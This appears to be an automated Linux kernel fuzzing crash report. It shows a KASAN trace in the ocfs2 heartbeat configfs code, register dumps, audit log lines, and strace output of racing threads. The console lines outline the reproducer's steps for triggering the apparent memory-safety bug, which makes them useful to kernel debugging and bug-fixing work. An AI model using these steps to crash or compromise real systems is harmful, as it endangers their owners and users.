 kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:186 [inline]
 kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x2e/0x100 fs/file_table.c:588
 o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1050 fs/read_write.c:687
 ksys_write+0x12a/0x250 fs/read_write.c:739
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
 </TASK>
==================================================================

IsProbe: false
Reproduced: false
Console Output: [   61.683357][   T33] audit: type=1400 audit(1788555259.586:203): avc:  denied  { transition } for  pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.690905][   T33] audit: type=1400 audit(1788555259.586:204): avc:  denied  { noatsecure } for  pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.697902][   T33] audit: type=1400 audit(1788555259.586:205): avc:  denied  { rlimitinh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.704132][   T33] audit: type=1400 audit(1788555259.586:206): avc:  denied  { siginh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   64.085305][   T33] audit: type=1400 audit(1788555261.986:207): avc:  denied  { write } for  pid=5827 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.124375][   T33] audit: type=1400 audit(1788555262.026:208): avc:  denied  { write } for  pid=5830 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.194924][   T33] audit: type=1400 audit(1788555262.096:209): avc:  denied  { write } for  pid=5834 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.238075][   T33] audit: type=1400 audit(1788555262.136:210): avc:  denied  { write } for  pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:41941' (ED25519) to the list of known hosts.
[   64.577197][   T33] audit: type=1400 audit(1788555262.476:211): avc:  denied  { mounton } for  pid=5846 comm="syz-executor240" path="/sys/kernel/config" dev="configfs" ino=1116 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   64.586101][ T5846] audit: audit_backlog=65 > audit_backlog_limit=64
[   66.835840][   T33] kauditd_printk_skb: 76 callbacks suppressed
[   66.835849][   T33] audit: type=1400 audit(1788555264.736:286): avc:  denied  { write } for  pid=5867 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.917912][   T33] audit: type=1400 audit(1788555264.816:287): avc:  denied  { write } for  pid=5870 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.039560][   T33] audit: type=1400 audit(1788555264.936:288): avc:  denied  { write } for  pid=5873 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.117416][   T33] audit: type=1400 audit(1788555265.016:289): avc:  denied  { write } for  pid=5876 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.221783][   T33] audit: type=1400 audit(1788555265.116:290): avc:  denied  { write } for  pid=5879 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.304324][   T33] audit: type=1400 audit(1788555265.206:291): avc:  denied  { write } for  pid=5882 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[+] configfs mounted or already mounted.
[+] Created mycluster.
[+] Created mynode.
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port
[+] Wrote '127.0.0.1
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
[+] Created myregion.
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block
[+] Opened block device, fd=3
[+] Wrote '1024
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
[   71.554541][ T1375] ieee802154 phy0 wpan0: encryption failed: -22
[   71.557436][ T1375] ieee802154 phy1 wpan1: encryption failed: -22

Strace Output: [pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
